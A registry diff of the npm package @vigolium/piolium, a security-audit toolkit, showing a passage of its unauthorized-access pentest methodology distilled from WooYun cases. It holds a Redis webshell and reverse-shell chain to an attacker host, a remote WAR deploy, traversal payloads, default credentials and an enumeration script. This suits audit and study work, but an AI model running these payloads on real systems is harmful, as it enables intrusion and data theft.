@vigolium/piolium 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (271) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +117 -0
  3. package/agents/access-auditor.md +300 -0
  4. package/agents/assumption-breaker.md +154 -0
  5. package/agents/attack-designer.md +116 -0
  6. package/agents/code-scanner.md +139 -0
  7. package/agents/concurrency-auditor.md +238 -0
  8. package/agents/confirm-writer.md +257 -0
  9. package/agents/context-reviewer.md +274 -0
  10. package/agents/cross-verifier.md +165 -0
  11. package/agents/cve-scout.md +381 -0
  12. package/agents/env-builder.md +282 -0
  13. package/agents/env-profiler.md +205 -0
  14. package/agents/evidence-collector.md +140 -0
  15. package/agents/finding-grader.md +142 -0
  16. package/agents/finding-writer.md +148 -0
  17. package/agents/flow-tracer.md +106 -0
  18. package/agents/goal-backtracer.md +146 -0
  19. package/agents/history-miner.md +467 -0
  20. package/agents/independent-verifier.md +118 -0
  21. package/agents/intent-mapper.md +183 -0
  22. package/agents/longshot-collector.md +128 -0
  23. package/agents/longshot-prober.md +126 -0
  24. package/agents/patch-auditor.md +73 -0
  25. package/agents/poc-author.md +124 -0
  26. package/agents/poc-runner.md +194 -0
  27. package/agents/probe-lead.md +269 -0
  28. package/agents/red-challenger.md +101 -0
  29. package/agents/report-composer.md +208 -0
  30. package/agents/review-adjudicator.md +216 -0
  31. package/agents/spec-auditor.md +155 -0
  32. package/agents/taint-tracer.md +265 -0
  33. package/agents/test-locator.md +209 -0
  34. package/agents/threat-modeler.md +132 -0
  35. package/agents/variant-scanner.md +108 -0
  36. package/agents/variant-spotter.md +110 -0
  37. package/bin/piolium.mjs +376 -0
  38. package/extensions/piolium/_vendor/yaml.bundle.d.mts +6 -0
  39. package/extensions/piolium/_vendor/yaml.bundle.mjs +139 -0
  40. package/extensions/piolium/agent-runner.ts +322 -0
  41. package/extensions/piolium/agents.ts +266 -0
  42. package/extensions/piolium/audit-state.ts +522 -0
  43. package/extensions/piolium/bundled-resources.ts +97 -0
  44. package/extensions/piolium/candidate-scan.ts +966 -0
  45. package/extensions/piolium/command-target.ts +177 -0
  46. package/extensions/piolium/console-stream.ts +57 -0
  47. package/extensions/piolium/export-results.ts +380 -0
  48. package/extensions/piolium/findings.ts +448 -0
  49. package/extensions/piolium/heartbeat.ts +182 -0
  50. package/extensions/piolium/help.ts +234 -0
  51. package/extensions/piolium/index.ts +1865 -0
  52. package/extensions/piolium/longshot.ts +530 -0
  53. package/extensions/piolium/matcher-suggestions.ts +196 -0
  54. package/extensions/piolium/matcher-utils.ts +83 -0
  55. package/extensions/piolium/modes/balanced.ts +750 -0
  56. package/extensions/piolium/modes/confirm-bootstrap.ts +186 -0
  57. package/extensions/piolium/modes/confirm.ts +697 -0
  58. package/extensions/piolium/modes/deep.ts +917 -0
  59. package/extensions/piolium/modes/diff.ts +177 -0
  60. package/extensions/piolium/modes/lite.ts +540 -0
  61. package/extensions/piolium/modes/longshot.ts +595 -0
  62. package/extensions/piolium/modes/merge.ts +204 -0
  63. package/extensions/piolium/modes/phase-runner.ts +267 -0
  64. package/extensions/piolium/modes/reinvest.ts +546 -0
  65. package/extensions/piolium/modes/revisit.ts +279 -0
  66. package/extensions/piolium/modes.ts +48 -0
  67. package/extensions/piolium/phase-labels.ts +123 -0
  68. package/extensions/piolium/phase-status-strip.ts +92 -0
  69. package/extensions/piolium/prompt-prefix-editor.ts +39 -0
  70. package/extensions/piolium/providers/anthropic-vertex.ts +836 -0
  71. package/extensions/piolium/recon.ts +409 -0
  72. package/extensions/piolium/result-stats.ts +105 -0
  73. package/extensions/piolium/retry.ts +120 -0
  74. package/extensions/piolium/scheduler.ts +212 -0
  75. package/extensions/piolium/secrets.ts +368 -0
  76. package/extensions/piolium/tools/web-tools.ts +148 -0
  77. package/package.json +77 -0
  78. package/skills/agentic-actions-auditor/SKILL.md +327 -0
  79. package/skills/agentic-actions-auditor/references/action-profiles.md +186 -0
  80. package/skills/agentic-actions-auditor/references/cross-file-resolution.md +209 -0
  81. package/skills/agentic-actions-auditor/references/foundations.md +94 -0
  82. package/skills/agentic-actions-auditor/references/vector-a-env-var-intermediary.md +77 -0
  83. package/skills/agentic-actions-auditor/references/vector-b-direct-expression-injection.md +83 -0
  84. package/skills/agentic-actions-auditor/references/vector-c-cli-data-fetch.md +83 -0
  85. package/skills/agentic-actions-auditor/references/vector-d-pr-target-checkout.md +88 -0
  86. package/skills/agentic-actions-auditor/references/vector-e-error-log-injection.md +88 -0
  87. package/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md +82 -0
  88. package/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md +91 -0
  89. package/skills/agentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md +102 -0
  90. package/skills/agentic-actions-auditor/references/vector-i-wildcard-allowlists.md +88 -0
  91. package/skills/audit/SKILL.md +562 -0
  92. package/skills/audit/assets/icon.svg +7 -0
  93. package/skills/audit/hooks/scripts/validate_phase_output.py +550 -0
  94. package/skills/audit/references/adversarial-review.md +148 -0
  95. package/skills/audit/references/architecture-aware-sast.md +306 -0
  96. package/skills/audit/references/audit-workflow.md +737 -0
  97. package/skills/audit/references/chamber-protocol.md +384 -0
  98. package/skills/audit/references/creative-attack-modes.md +221 -0
  99. package/skills/audit/references/deep-analysis.md +273 -0
  100. package/skills/audit/references/domain-attack-playbooks.md +1129 -0
  101. package/skills/audit/references/knowledge-base-template.md +513 -0
  102. package/skills/audit/references/real-env-validation.md +191 -0
  103. package/skills/audit/references/report-templates.md +417 -0
  104. package/skills/audit/references/triage-and-prereqs.md +134 -0
  105. package/skills/audit/scripts/consolidate_drafts.py +554 -0
  106. package/skills/audit/scripts/partition_findings.py +152 -0
  107. package/skills/audit/scripts/rg-hotspots.sh +121 -0
  108. package/skills/audit/scripts/stamp_file_state.py +349 -0
  109. package/skills/code-reviewer/SKILL.md +65 -0
  110. package/skills/codeql/SKILL.md +281 -0
  111. package/skills/codeql/references/build-fixes.md +90 -0
  112. package/skills/codeql/references/diagnostic-query-templates.md +339 -0
  113. package/skills/codeql/references/extension-yaml-format.md +209 -0
  114. package/skills/codeql/references/important-only-suite.md +153 -0
  115. package/skills/codeql/references/language-details.md +207 -0
  116. package/skills/codeql/references/macos-arm64e-workaround.md +179 -0
  117. package/skills/codeql/references/performance-tuning.md +111 -0
  118. package/skills/codeql/references/quality-assessment.md +172 -0
  119. package/skills/codeql/references/ruleset-catalog.md +63 -0
  120. package/skills/codeql/references/run-all-suite.md +92 -0
  121. package/skills/codeql/references/sarif-processing.md +79 -0
  122. package/skills/codeql/references/threat-models.md +51 -0
  123. package/skills/codeql/workflows/build-database.md +280 -0
  124. package/skills/codeql/workflows/create-data-extensions.md +261 -0
  125. package/skills/codeql/workflows/run-analysis.md +301 -0
  126. package/skills/differential-review/SKILL.md +220 -0
  127. package/skills/differential-review/adversarial.md +203 -0
  128. package/skills/differential-review/methodology.md +234 -0
  129. package/skills/differential-review/patterns.md +300 -0
  130. package/skills/differential-review/reporting.md +369 -0
  131. package/skills/fp-check/SKILL.md +125 -0
  132. package/skills/fp-check/references/bug-class-verification.md +114 -0
  133. package/skills/fp-check/references/deep-verification.md +143 -0
  134. package/skills/fp-check/references/evidence-templates.md +91 -0
  135. package/skills/fp-check/references/false-positive-patterns.md +115 -0
  136. package/skills/fp-check/references/gate-reviews.md +27 -0
  137. package/skills/fp-check/references/standard-verification.md +78 -0
  138. package/skills/insecure-defaults/SKILL.md +117 -0
  139. package/skills/insecure-defaults/references/examples.md +409 -0
  140. package/skills/last30days/SKILL.md +444 -0
  141. package/skills/sarif-parsing/SKILL.md +483 -0
  142. package/skills/sarif-parsing/resources/jq-queries.md +162 -0
  143. package/skills/sarif-parsing/resources/sarif_helpers.py +331 -0
  144. package/skills/security-threat-model/LICENSE.txt +201 -0
  145. package/skills/security-threat-model/SKILL.md +81 -0
  146. package/skills/security-threat-model/agents/openai.yaml +4 -0
  147. package/skills/security-threat-model/references/prompt-template.md +255 -0
  148. package/skills/security-threat-model/references/security-controls-and-assets.md +32 -0
  149. package/skills/semgrep/SKILL.md +212 -0
  150. package/skills/semgrep/references/rulesets.md +162 -0
  151. package/skills/semgrep/references/scan-modes.md +110 -0
  152. package/skills/semgrep/references/scanner-task-prompt.md +140 -0
  153. package/skills/semgrep/scripts/merge_sarif.py +203 -0
  154. package/skills/semgrep/workflows/scan-workflow.md +311 -0
  155. package/skills/semgrep-rule-creator/SKILL.md +168 -0
  156. package/skills/semgrep-rule-creator/references/quick-reference.md +202 -0
  157. package/skills/semgrep-rule-creator/references/workflow.md +240 -0
  158. package/skills/semgrep-rule-variant-creator/SKILL.md +205 -0
  159. package/skills/semgrep-rule-variant-creator/references/applicability-analysis.md +250 -0
  160. package/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md +324 -0
  161. package/skills/semgrep-rule-variant-creator/references/workflow.md +518 -0
  162. package/skills/sharp-edges/SKILL.md +292 -0
  163. package/skills/sharp-edges/references/auth-patterns.md +252 -0
  164. package/skills/sharp-edges/references/case-studies.md +274 -0
  165. package/skills/sharp-edges/references/config-patterns.md +333 -0
  166. package/skills/sharp-edges/references/crypto-apis.md +190 -0
  167. package/skills/sharp-edges/references/lang-c.md +205 -0
  168. package/skills/sharp-edges/references/lang-csharp.md +285 -0
  169. package/skills/sharp-edges/references/lang-go.md +270 -0
  170. package/skills/sharp-edges/references/lang-java.md +263 -0
  171. package/skills/sharp-edges/references/lang-javascript.md +269 -0
  172. package/skills/sharp-edges/references/lang-kotlin.md +265 -0
  173. package/skills/sharp-edges/references/lang-php.md +245 -0
  174. package/skills/sharp-edges/references/lang-python.md +274 -0
  175. package/skills/sharp-edges/references/lang-ruby.md +273 -0
  176. package/skills/sharp-edges/references/lang-rust.md +272 -0
  177. package/skills/sharp-edges/references/lang-swift.md +287 -0
  178. package/skills/sharp-edges/references/language-specific.md +588 -0
  179. package/skills/spec-to-code-compliance/SKILL.md +357 -0
  180. package/skills/spec-to-code-compliance/resources/COMPLETENESS_CHECKLIST.md +69 -0
  181. package/skills/spec-to-code-compliance/resources/IR_EXAMPLES.md +417 -0
  182. package/skills/spec-to-code-compliance/resources/OUTPUT_REQUIREMENTS.md +105 -0
  183. package/skills/supply-chain-risk-auditor/SKILL.md +67 -0
  184. package/skills/supply-chain-risk-auditor/resources/results-template.md +41 -0
  185. package/skills/variant-analysis/METHODOLOGY.md +327 -0
  186. package/skills/variant-analysis/SKILL.md +142 -0
  187. package/skills/variant-analysis/resources/codeql/cpp.ql +119 -0
  188. package/skills/variant-analysis/resources/codeql/go.ql +69 -0
  189. package/skills/variant-analysis/resources/codeql/java.ql +71 -0
  190. package/skills/variant-analysis/resources/codeql/javascript.ql +63 -0
  191. package/skills/variant-analysis/resources/codeql/python.ql +80 -0
  192. package/skills/variant-analysis/resources/semgrep/cpp.yaml +98 -0
  193. package/skills/variant-analysis/resources/semgrep/go.yaml +63 -0
  194. package/skills/variant-analysis/resources/semgrep/java.yaml +61 -0
  195. package/skills/variant-analysis/resources/semgrep/javascript.yaml +60 -0
  196. package/skills/variant-analysis/resources/semgrep/python.yaml +72 -0
  197. package/skills/variant-analysis/resources/variant-report-template.md +75 -0
  198. package/skills/vuln-report/SKILL.md +137 -0
  199. package/skills/vuln-report/agents/openai.yaml +4 -0
  200. package/skills/vuln-report/references/report-template.md +135 -0
  201. package/skills/wooyun-legacy/SKILL.md +367 -0
  202. package/skills/wooyun-legacy/references/bank-penetration.md +222 -0
  203. package/skills/wooyun-legacy/references/checklists/command-execution-checklist.md +119 -0
  204. package/skills/wooyun-legacy/references/checklists/csrf-checklist.md +74 -0
  205. package/skills/wooyun-legacy/references/checklists/file-upload-checklist.md +108 -0
  206. package/skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md +114 -0
  207. package/skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md +95 -0
  208. package/skills/wooyun-legacy/references/checklists/misconfig-checklist.md +124 -0
  209. package/skills/wooyun-legacy/references/checklists/path-traversal-checklist.md +87 -0
  210. package/skills/wooyun-legacy/references/checklists/rce-checklist.md +93 -0
  211. package/skills/wooyun-legacy/references/checklists/sql-injection-checklist.md +97 -0
  212. package/skills/wooyun-legacy/references/checklists/ssrf-checklist.md +99 -0
  213. package/skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md +89 -0
  214. package/skills/wooyun-legacy/references/checklists/weak-password-checklist.md +115 -0
  215. package/skills/wooyun-legacy/references/checklists/xss-checklist.md +103 -0
  216. package/skills/wooyun-legacy/references/checklists/xxe-checklist.md +130 -0
  217. package/skills/wooyun-legacy/references/info-disclosure.md +975 -0
  218. package/skills/wooyun-legacy/references/logic-flaws.md +721 -0
  219. package/skills/wooyun-legacy/references/path-traversal.md +1191 -0
  220. package/skills/wooyun-legacy/references/telecom-penetration.md +156 -0
  221. package/skills/wooyun-legacy/references/unauthorized-access.md +980 -0
  222. package/skills/wooyun-legacy/references/xss.md +746 -0
  223. package/skills/zeroize-audit/SKILL.md +371 -0
  224. package/skills/zeroize-audit/configs/c.yaml +21 -0
  225. package/skills/zeroize-audit/configs/default.yaml +128 -0
  226. package/skills/zeroize-audit/configs/rust.yaml +83 -0
  227. package/skills/zeroize-audit/prompts/report_template.md +238 -0
  228. package/skills/zeroize-audit/prompts/system.md +163 -0
  229. package/skills/zeroize-audit/prompts/task.md +97 -0
  230. package/skills/zeroize-audit/references/compile-commands.md +231 -0
  231. package/skills/zeroize-audit/references/detection-strategy.md +191 -0
  232. package/skills/zeroize-audit/references/ir-analysis.md +252 -0
  233. package/skills/zeroize-audit/references/mcp-analysis.md +221 -0
  234. package/skills/zeroize-audit/references/poc-generation.md +470 -0
  235. package/skills/zeroize-audit/references/rust-zeroization-patterns.md +867 -0
  236. package/skills/zeroize-audit/schemas/input.json +83 -0
  237. package/skills/zeroize-audit/schemas/output.json +140 -0
  238. package/skills/zeroize-audit/tools/analyze_asm.sh +202 -0
  239. package/skills/zeroize-audit/tools/analyze_cfg.py +381 -0
  240. package/skills/zeroize-audit/tools/analyze_heap.sh +211 -0
  241. package/skills/zeroize-audit/tools/analyze_ir_semantic.py +429 -0
  242. package/skills/zeroize-audit/tools/diff_ir.sh +135 -0
  243. package/skills/zeroize-audit/tools/diff_rust_mir.sh +189 -0
  244. package/skills/zeroize-audit/tools/emit_asm.sh +67 -0
  245. package/skills/zeroize-audit/tools/emit_ir.sh +77 -0
  246. package/skills/zeroize-audit/tools/emit_rust_asm.sh +178 -0
  247. package/skills/zeroize-audit/tools/emit_rust_ir.sh +150 -0
  248. package/skills/zeroize-audit/tools/emit_rust_mir.sh +158 -0
  249. package/skills/zeroize-audit/tools/extract_compile_flags.py +284 -0
  250. package/skills/zeroize-audit/tools/generate_poc.py +1329 -0
  251. package/skills/zeroize-audit/tools/mcp/apply_confidence_gates.py +113 -0
  252. package/skills/zeroize-audit/tools/mcp/check_mcp.sh +68 -0
  253. package/skills/zeroize-audit/tools/mcp/normalize_mcp_evidence.py +125 -0
  254. package/skills/zeroize-audit/tools/scripts/check_llvm_patterns.py +481 -0
  255. package/skills/zeroize-audit/tools/scripts/check_mir_patterns.py +554 -0
  256. package/skills/zeroize-audit/tools/scripts/check_rust_asm.py +424 -0
  257. package/skills/zeroize-audit/tools/scripts/check_rust_asm_aarch64.py +300 -0
  258. package/skills/zeroize-audit/tools/scripts/check_rust_asm_x86.py +283 -0
  259. package/skills/zeroize-audit/tools/scripts/find_dangerous_apis.py +375 -0
  260. package/skills/zeroize-audit/tools/scripts/semantic_audit.py +923 -0
  261. package/skills/zeroize-audit/tools/track_dataflow.sh +196 -0
  262. package/skills/zeroize-audit/tools/validate_rust_toolchain.sh +298 -0
  263. package/skills/zeroize-audit/workflows/phase-0-preflight.md +150 -0
  264. package/skills/zeroize-audit/workflows/phase-1-source-analysis.md +144 -0
  265. package/skills/zeroize-audit/workflows/phase-2-compiler-analysis.md +139 -0
  266. package/skills/zeroize-audit/workflows/phase-3-interim-report.md +46 -0
  267. package/skills/zeroize-audit/workflows/phase-4-poc-generation.md +46 -0
  268. package/skills/zeroize-audit/workflows/phase-5-poc-validation.md +136 -0
  269. package/skills/zeroize-audit/workflows/phase-6-final-report.md +44 -0
  270. package/skills/zeroize-audit/workflows/phase-7-test-generation.md +42 -0
  271. package/themes/piolium-srcery.json +94 -0
@@ -0,0 +1,980 @@
1
+ # Unauthorized Access Vulnerability Analysis Methodology
2
+
3
+ > Distilled from 14,377 cases | Data source: WooYun Vulnerability Database (2010-2016)
4
+
5
+ ---
6
+
7
+ ## 1. Core Statistics
8
+
9
+ | Metric | Value |
10
+ |--------|-------|
11
+ | Total vulnerabilities | 88,636 |
12
+ | Unauthorized access-related | 14,377 (16.2%) |
13
+ | In-depth analysis samples | 100 |
14
+
15
+ ---
16
+
17
+ ## 2. Unauthorized Access Type Classification
18
+
19
+ ### 2.1 Backend Unauthorized Access
20
+
21
+ **Statistics**: 22 typical cases
22
+
23
+ **Attack Patterns**:
24
+
25
+ | Pattern Type | Description | Typical Case |
26
+ |-------------|-------------|--------------|
27
+ | Hardcoded auth bypass | Fixed key/parameter decryption for direct login | Website builder CMS `lstate=515csmxSi1aTO9ysxvJ1Gpmnj7hHuPxjMdfZdEP49lJZ` |
28
+ | Weak/default credentials | admin/admin, weblogic/12345678 | Classifieds platform Tomcat `admin:admin123456` |
29
+ | Direct path access | Backend URL without authentication | Hobbyist association site `/users/AssociationManage/` |
30
+ | Authentication logic flaws | Client-side validation, CAPTCHA bypass | Classifieds platform CAPTCHA client-side refresh allows brute force |
31
+
32
+ **Typical Bypass Techniques**:
33
+
34
+ ```
35
+ # 1. Parameter encryption bypass
36
+ /admin/login.asp?lstate={encrypted_true_value}
37
+
38
+ # 2. Direct path access
39
+ /console/login/LoginForm.jsp (WebLogic)
40
+ /manager/html (Tomcat)
41
+ /jmx-console/ (JBoss)
42
+
43
+ # 3. Base64-encoded directory
44
+ /ZmptY2NtYW5hZ2Vy/ (base64-decoded reveals admin path)
45
+ ```
46
+
47
+ **Key Insights**:
48
+ - Many systems use a unified encryption key, allowing all deployed instances to be bypassed with the same method
49
+ - Development framework default configurations commonly have weak credentials
50
+ - Internal systems often neglect authentication, relying solely on network isolation
51
+
52
+ ---
53
+
54
+ ### 2.2 API Unauthorized Access
55
+
56
+ **Statistics**: 7 typical cases
57
+
58
+ **Attack Vectors**:
59
+
60
+ | Vector | Description | Example |
61
+ |--------|-------------|---------|
62
+ | No API authentication | API directly returns sensitive data | Public platform `/api/configs` returns AppID and AppSecret |
63
+ | Missing permission checks | Only verifies login, not authorization | Social network photo album API `uid=` parameter is enumerable |
64
+ | Sensitive info disclosure | Debug endpoints exposed | `/api/v1/admin_is_login` logic exposed |
65
+
66
+ **API Probe Payload Examples**:
67
+
68
+ ```bash
69
+ # Common sensitive API paths
70
+ /api/configs
71
+ /api/v1/admin_is_login
72
+ /api/users
73
+ /api/debug
74
+ /swagger-ui.html
75
+ /api-docs
76
+ /actuator/env
77
+ /actuator/health
78
+ ```
79
+
80
+ ---
81
+
82
+ ### 2.3 Database Service Unauthorized Access
83
+
84
+ **Statistics**: 5 typical cases
85
+
86
+ **Common Unauthorized Database Services**:
87
+
88
+ | Service | Default Port | Severity | Exploitation Method |
89
+ |---------|-------------|----------|-------------------|
90
+ | MongoDB | 27017 | Critical | Connect without authentication, export all data |
91
+ | Redis | 6379 | Critical | Write SSH public keys, write webshells, write cron jobs |
92
+ | MySQL | 3306 | High | Empty password or weak password connection |
93
+ | Memcached | 11211 | Medium | Data leakage, DDoS amplification |
94
+ | Elasticsearch | 9200 | High | Read index data, remote code execution |
95
+
96
+ **Redis Unauthorized Exploitation Chain**:
97
+
98
+ ```bash
99
+ # Connect
100
+ redis-cli -h target_ip
101
+
102
+ # View information
103
+ info
104
+
105
+ # Write SSH public key
106
+ config set dir /root/.ssh/
107
+ config set dbfilename authorized_keys
108
+ set x "\n\nssh-rsa AAAA...\n\n"
109
+ save
110
+
111
+ # Write webshell (requires knowing web directory)
112
+ config set dir /var/www/html/
113
+ config set dbfilename shell.php
114
+ set x "<?php system($_GET['c']);?>"
115
+ save
116
+
117
+ # Write cron job
118
+ config set dir /var/spool/cron/
119
+ config set dbfilename root
120
+ set x "\n* * * * * bash -i >& /dev/tcp/attacker_ip/port 0>&1\n"
121
+ save
122
+ ```
123
+
124
+ **MongoDB Unauthorized Probing**:
125
+
126
+ ```bash
127
+ # Connection test
128
+ mongo target_ip:27017
129
+
130
+ # List databases
131
+ show dbs
132
+
133
+ # View collections
134
+ use database_name
135
+ show collections
136
+
137
+ # Export data
138
+ mongoexport -h target_ip -d db_name -c collection -o output.json
139
+ ```
140
+
141
+ ---
142
+
143
+ ### 2.4 Caching Service Unauthorized Access
144
+
145
+ **Statistics**: 10 typical cases
146
+
147
+ | Service | Port | Verification Command | Impact |
148
+ |---------|------|---------------------|--------|
149
+ | Redis | 6379 | `redis-cli -h IP info` | Data leakage, RCE |
150
+ | Memcached | 11211 | `echo "stats" \| nc IP 11211` | Data leakage, DDoS |
151
+
152
+ ---
153
+
154
+ ### 2.5 Middleware Unauthorized Access
155
+
156
+ **Statistics**: 19 typical cases
157
+
158
+ **Middleware Vulnerability Matrix**:
159
+
160
+ | Middleware | Unauthorized Entry Point | Exploitation Method | Typical Vulnerability |
161
+ |-----------|------------------------|--------------------|--------------------|
162
+ | WebLogic | `/console/` | Deploy WAR packages | CVE-2017-10271, CVE-2019-2725 |
163
+ | JBoss | `/jmx-console/` | Remote deployment | JMXInvokerServlet deserialization |
164
+ | Tomcat | `/manager/html` | Deploy WAR packages | Weak credentials + upload |
165
+ | Resin | `/resin-admin/` | Remote deployment | Misconfiguration |
166
+ | Spring Boot | `/actuator/` | Info disclosure/RCE | Heapdump leak, env leak |
167
+
168
+ **WebLogic Weak Credential List**:
169
+
170
+ ```
171
+ weblogic / weblogic
172
+ weblogic / weblogic1
173
+ weblogic / weblogic123
174
+ weblogic / 12345678
175
+ system / password
176
+ ```
177
+
178
+ **JBoss JMX-Console Exploitation**:
179
+
180
+ ```
181
+ 1. Access /jmx-console/
182
+ 2. Find jboss.deployment
183
+ 3. Deploy remote WAR: http://attacker/shell.war
184
+ ```
185
+
186
+ ---
187
+
188
+ ### 2.6 DevOps Tool Unauthorized Access
189
+
190
+ **Statistics**: 2 typical cases
191
+
192
+ | Tool | Default Port | Risk |
193
+ |------|-------------|------|
194
+ | Jenkins | 8080 | Script Console RCE |
195
+ | Zabbix | 80 | SQL Injection -> Session hijacking |
196
+ | Grafana | 3000 | Unauthorized data source access |
197
+ | Kibana | 5601 | Data viewing, RCE |
198
+
199
+ **Jenkins Script Console**:
200
+
201
+ ```groovy
202
+ // Groovy code execution
203
+ def cmd = "whoami"
204
+ println cmd.execute().text
205
+ ```
206
+
207
+ ---
208
+
209
+ ### 2.7 IoT Device Unauthorized Access
210
+
211
+ **Statistics**: 7 typical cases
212
+
213
+ | Device Type | Default Credentials | Impact |
214
+ |------------|-------------------|--------|
215
+ | IP cameras | admin/admin, admin/12345 | Video surveillance leakage |
216
+ | Routers | admin/admin | Network control |
217
+ | Printers | Passwordless telnet | Configuration modification |
218
+ | Home gateways | telecomadmin/nE7jA%5m | Network takeover |
219
+
220
+ **Typical Case - Telecom Home Gateway**:
221
+ - Default super admin: `telecomadmin/nE7jA%5m`
222
+ - Remote port 80 exposed
223
+ - Password hardcoded and cannot be changed
224
+
225
+ ---
226
+
227
+ ## 3. Authorization Bypass Methods
228
+
229
+ ### 3.1 Parameter Manipulation
230
+
231
+ **Statistics**: 8 typical cases
232
+
233
+ **Technical Details**:
234
+
235
+ ```
236
+ # 1. ID enumeration
237
+ /user/info?uid=1
238
+ /user/info?uid=2
239
+ ...
240
+
241
+ # 2. Role tampering
242
+ role=user -> role=admin
243
+
244
+ # 3. Permission flag tampering
245
+ isAdmin=0 -> isAdmin=1
246
+ ```
247
+
248
+ ---
249
+
250
+ ### 3.2 Path Bypass
251
+
252
+ **Statistics**: 34 typical cases
253
+
254
+ **Bypass Techniques**:
255
+
256
+ ```
257
+ # 1. Directory traversal
258
+ ../../../etc/passwd
259
+ ..\..\..\..\windows\system.ini
260
+
261
+ # 2. URL encoding bypass
262
+ %2e%2e%2f (../)
263
+ %252e%252e%252f (double encoding)
264
+
265
+ # 3. Null byte truncation
266
+ ../../../etc/passwd%00.jpg
267
+
268
+ # 4. Case confusion
269
+ /ADMIN/
270
+ /Admin/
271
+ /aDmIn/
272
+ ```
273
+
274
+ ---
275
+
276
+ ### 3.3 Authentication Bypass
277
+
278
+ **Statistics**: 19 typical cases
279
+
280
+ **Technical Classification**:
281
+
282
+ | Type | Description | Payload Example |
283
+ |------|-------------|----------------|
284
+ | Universal password | SQL injection login | `' or 1=1--` |
285
+ | Cookie forgery | Modify authentication cookie | `admin=true` |
286
+ | JWT bypass | None algorithm/weak key | `alg: none` |
287
+ | Session hijacking | Predict/steal session | Direct use after session ID leakage |
288
+
289
+ ---
290
+
291
+ ### 3.4 Session Bypass
292
+
293
+ **Statistics**: 3 typical cases
294
+
295
+ **Exploitation Scenarios**:
296
+
297
+ ```
298
+ # 1. Session ID leakage (log exposure)
299
+ /logs/ctp.log -> Contains session IDs
300
+
301
+ # 2. Session fixation attack
302
+ Force user to use attacker-specified session ID
303
+
304
+ # 3. Session prediction
305
+ Weak sessions generated from timestamps/sequential numbers
306
+ ```
307
+
308
+ ---
309
+
310
+ ### 3.5 Header Bypass
311
+
312
+ **Statistics**: 13 typical cases
313
+
314
+ **Common Bypass Headers**:
315
+
316
+ ```
317
+ X-Forwarded-For: [IP redacted]
318
+ X-Real-IP: [IP redacted]
319
+ X-Originating-IP: [IP redacted]
320
+ X-Remote-IP: [IP redacted]
321
+ X-Remote-Addr: [IP redacted]
322
+ X-Client-IP: [IP redacted]
323
+ Host: localhost
324
+ Referer: https://example.com/[redacted]
325
+ ```
326
+
327
+ ---
328
+
329
+ ## 4. IDOR Vulnerabilities
330
+
331
+ ### 4.1 Horizontal Privilege Escalation (IDOR)
332
+
333
+ **Statistics**: 4 typical cases
334
+
335
+ **Characteristics**: Cross-access of data between users at the same privilege level
336
+
337
+ **Case Analysis**:
338
+
339
+ | Case | Vulnerability Point | Impact |
340
+ |------|-------------------|--------|
341
+ | Insurance platform | `/personal/center/family/{id}/edit` | Hundreds of thousands of insured persons' data leaked |
342
+ | Livestreaming platform | Room ID is replaceable | Modify other users' livestream information |
343
+ | Dating app | uid parameter is tamperable | Modify any user's profile statement |
344
+
345
+ **Testing Method**:
346
+
347
+ ```
348
+ 1. Record ID parameters in normal requests
349
+ 2. Replace with another user's ID
350
+ 3. Observe whether the response returns other user's data
351
+ 4. Automated enumeration (Burp Intruder)
352
+ ```
353
+
354
+ ---
355
+
356
+ ### 4.2 ID Enumeration
357
+
358
+ **Statistics**: 27 typical cases
359
+
360
+ **Enumeration Techniques**:
361
+
362
+ ```python
363
+ # Automated ID enumeration script
364
+ import requests
365
+
366
+ for user_id in range(1, 10000):
367
+ url = f"http://target/api/user/{user_id}"
368
+ resp = requests.get(url)
369
+ if resp.status_code == 200:
370
+ print(f"Found: {user_id} - {resp.text[:100]}")
371
+ ```
372
+
373
+ **Typical Cases**:
374
+
375
+ | System | Enumeration Point | Data Volume |
376
+ |--------|------------------|-------------|
377
+ | Express delivery company | Order ID | Large volume of orders since 2010 |
378
+ | Car rental service | Invoice ID | 190,000 records |
379
+ | State enterprise OA | Employee ID | Large volume of employee information |
380
+
381
+ ---
382
+
383
+ ## 5. Common Unauthorized Services
384
+
385
+ ### 5.1 Service Statistics
386
+
387
+ | Service | Case Count | Port | Risk Level |
388
+ |---------|-----------|------|-----------|
389
+ | WebLogic | 10 | 7001 | Critical |
390
+ | JBoss | 7 | 8080 | Critical |
391
+ | Redis | 5 | 6379 | Critical |
392
+ | MySQL | 5 | 3306 | High |
393
+ | rsync | 5 | 873 | High |
394
+ | MongoDB | 4 | 27017 | Critical |
395
+ | Spring Actuator | 2 | 8080 | High |
396
+ | Zabbix | 2 | 80 | Medium |
397
+
398
+ ### 5.2 Service Identification Fingerprints
399
+
400
+ ```bash
401
+ # Redis
402
+ redis-cli -h IP info
403
+
404
+ # MongoDB
405
+ mongo IP:27017 --eval "db.version()"
406
+
407
+ # Elasticsearch
408
+ curl http://IP:9200
409
+
410
+ # rsync
411
+ rsync IP::
412
+
413
+ # Memcached
414
+ echo "stats" | nc IP 11211
415
+
416
+ # ZooKeeper
417
+ echo "stat" | nc IP 2181
418
+
419
+ # Docker Remote API
420
+ curl http://IP:2375/info
421
+ ```
422
+
423
+ ### 5.3 rsync Unauthorized Exploitation
424
+
425
+ **Cases**: Social platform, tech media site
426
+
427
+ ```bash
428
+ # List modules
429
+ rsync target_ip::
430
+
431
+ # Download files
432
+ rsync -avz target_ip::module_name ./local_dir
433
+
434
+ # Upload files (if write permission exists)
435
+ rsync -avz ./local_file target_ip::module_name/
436
+ ```
437
+
438
+ **Impact**: Full site source code leakage, configuration file leakage, sensitive information exposure
439
+
440
+ ---
441
+
442
+ ## 6. Directory Traversal Techniques
443
+
444
+ **Statistics**: 35 typical cases
445
+
446
+ ### 6.1 Basic Payloads
447
+
448
+ ```
449
+ # Linux
450
+ ../../../etc/passwd
451
+ ../../../etc/shadow
452
+ ../../../root/.bash_history
453
+ ../../../proc/self/environ
454
+
455
+ # Windows
456
+ ..\..\..\..\windows\system.ini
457
+ ..\..\..\..\windows\win.ini
458
+ ..\..\..\..\boot.ini
459
+ ```
460
+
461
+ ### 6.2 Encoding Bypass
462
+
463
+ ```
464
+ # URL encoding
465
